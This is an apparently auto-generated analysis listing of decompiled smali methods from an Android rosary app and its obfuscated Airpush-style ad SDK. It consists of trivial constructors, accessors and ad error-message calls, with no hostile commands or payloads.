APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "millisInFuture" # J | |
1 | .param p3, "countDownInterval" # J | |
2 | .param p5, "_tv" # Landroid/widget/TextView; | |
3 | .prologue | |
5 | invoke-direct {p0, p1, p2, p3, p4}, Landroid/os/CountDownTimer;-><init>(JJ)V | |
6 | iput-object p5, p0, Lprsolutions/rosariofacileads/Countdown;->tv:Landroid/widget/TextView; | |
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "name" # Ljava/lang/String; | |
1 | .prologue | |
2 | const-class v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
4 | invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum; | |
5 | move-result-object v0 | |
6 | check-cast v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
7 | return-object v0 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
4 | const-string v1, "Another ad request is already in progress. Please wait..." | |
6 | invoke-interface {v0, v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V |
|
7 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
4 | const-string v1, "Ad requested beforing refresh time. Aborting request... " | |
6 | invoke-interface {v0, v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V |
|
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "name" # Ljava/lang/String; | |
1 | .prologue | |
2 | const-class v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
4 | invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum; | |
5 | move-result-object v0 | |
6 | check-cast v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
7 | return-object v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->close()V | |
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$3;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->resize()V | |
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$7;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setAdOrientation()V | |
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "js_code" # Ljava/lang/String; | |
1 | .prologue | |
2 | new-instance v0, Lcom/vxjxu/jkhfn1870/MraidView$5; | |
4 | invoke-direct {v0, p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$5;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;Ljava/lang/String;)V | |
6 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
7 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->this$1:Lcom/vxjxu/jkhfn1870/AdView$5; | |
2 | iput p2, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->val$staus:I | |
3 | iput-object p3, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->val$message:Ljava/lang/String; | |
5 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
6 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView; | |
1 | .param p1, "x1" # I | |
2 | .param p2, "x2" # Ljava/lang/String; | |
3 | .prologue | |
5 | invoke-direct {p0, p1, p2}, Lcom/vxjxu/jkhfn1870/AdView;->validateStatusCode(ILjava/lang/String;)V | |
6 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView; | |
1 | .param p1, "x1" # Landroid/content/Context; | |
2 | .param p2, "x2" # Lorg/json/JSONObject; | |
3 | .prologue | |
5 | invoke-direct {p0, p1, p2}, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson(Landroid/content/Context;Lorg/json/JSONObject;)V | |
6 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
3 | iput-object p3, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$activity:Landroid/app/Activity; | |
5 | invoke-direct {p0}, Landroid/webkit/WebChromeClient;-><init>()V | |
6 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$context:Landroid/content/Context; | |
3 | iput-object p3, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler; | |
5 | invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V | |
6 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "x0" # [Ljava/lang/Object; | |
1 | .prologue | |
2 | check-cast p1, [Ljava/lang/Void; | |
4 | invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/ImageTask;->doInBackground([Ljava/lang/Void;)Ljava/lang/Void; | |
5 | move-result-object v0 | |
6 | return-object v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "v" # Landroid/view/View; | |
1 | .prologue | |
3 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$1;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
5 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->close()V | |
6 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$imageURL:Ljava/lang/String; | |
3 | iput-object p3, p0, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$fileNameWithExt:Ljava/lang/String; | |
5 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
6 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
3 | invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V | |
4 | const/4 v0, 0x0 | |
5 | iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->isErrorOccured:Z | |
6 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | const/4 v0, 0x0 | |
5 | iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->useCustomClose:Z | |
6 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->val$url:Ljava/lang/String; | |
3 | iput-object p3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->val$fileName:Ljava/lang/String; | |
5 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
6 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v0, 0x0 | |
2 | sput-object v0, Lcom/vxjxu/jkhfn1870/SetPreferences;->json:Lorg/json/JSONObject; | |
4 | const-string v0, "0" | |
5 | sput-object v0, Lcom/vxjxu/jkhfn1870/SetPreferences;->token:Ljava/lang/String; | |
6 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Landroid/app/Activity;-><init>()V | |
3 | const/4 v0, 0x0 | |
4 | iput-boolean v0, p0, Lprsolutions/rosariofacileads/Opzioni;->sleep_mode:Z | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "this$0" # Lprsolutions/rosariofacileads/Player; | |
1 | .prologue | |
2 | iput-object p1, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "this$0" # Lprsolutions/rosariofacileads/Player; | |
1 | .prologue | |
2 | iput-object p1, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "x0" # Lprsolutions/rosariofacileads/Player; | |
1 | .param p1, "x1" # Ljava/lang/Integer; | |
2 | .prologue | |
4 | invoke-direct {p0, p1}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "this$0" # Lprsolutions/rosariofacileads/RosarioFacile; | |
1 | .prologue | |
2 | iput-object p1, p0, Lprsolutions/rosariofacileads/RosarioFacile$1;->this$0:Lprsolutions/rosariofacileads/RosarioFacile; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "this$0" # Lprsolutions/rosariofacileads/RosarioFacile; | |
1 | .prologue | |
2 | iput-object p1, p0, Lprsolutions/rosariofacileads/RosarioFacile$2;->this$0:Lprsolutions/rosariofacileads/RosarioFacile; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$6;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
4 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$1100(Lcom/vxjxu/jkhfn1870/AdView;)V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$7;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
4 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$1200(Lcom/vxjxu/jkhfn1870/AdView;)V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$8$1;->this$1:Lcom/vxjxu/jkhfn1870/AdView$8; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/AdView$8$1;->val$result:Ljava/lang/Boolean; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView; | |
1 | .param p1, "x1" # Lorg/json/JSONObject; | |
2 | .prologue | |
4 | invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/AdView;->parseBannerAd(Lorg/json/JSONObject;)V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$8;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/AirPlay$8;->val$adtype:Ljava/lang/String; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->val$this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
4 | invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->val$event:Ljava/lang/String; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "x0" # Ljava/lang/Object; | |
1 | .prologue | |
2 | check-cast p1, Ljava/lang/Void; | |
4 | invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/ImageTask;->onPostExecute(Ljava/lang/Void;)V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->val$e:Ljava/lang/Exception; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$5;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$5;->val$js_code:Ljava/lang/String; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->val$event:Ljava/lang/String; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "x0" # Lcom/vxjxu/jkhfn1870/MraidView; | |
1 | .param p2, "x1" # Lcom/vxjxu/jkhfn1870/MraidView$1; | |
2 | .prologue | |
4 | invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;->val$url:Ljava/lang/String; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;->val$url:Ljava/lang/String; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;->val$json:Ljava/lang/String; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
2 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->val$event:Ljava/lang/String; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "x0" # Lcom/vxjxu/jkhfn1870/OverlayAd; | |
1 | .param p1, "x1" # Ljava/lang/String; | |
2 | .prologue | |
4 | invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->open(Ljava/lang/String;)V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
2 | iput p2, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->val$code:I | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$1;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | invoke-direct {p0}, Landroid/os/Handler;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$3;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$4;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$6;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$7;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$8;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$9;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | invoke-direct {p0}, Ljava/util/TimerTask;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView; | |
1 | .prologue | |
3 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->removeOldViews()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView; | |
1 | .prologue | |
3 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->loadRichMediaAd()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView; | |
1 | .prologue | |
3 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->loadBannerAd()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$1;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$2;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$3;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$4;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$5;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$6;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$7;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
3 | invoke-direct {p0}, Landroid/os/Handler;-><init>()V | |
4 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "newConfig" # Landroid/content/res/Configuration; | |
1 | .prologue | |
3 | invoke-super {p0, p1}, Landroid/app/Activity;->onConfigurationChanged(Landroid/content/res/Configuration;)V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$1;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
3 | invoke-direct {p0}, Landroid/webkit/WebChromeClient;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
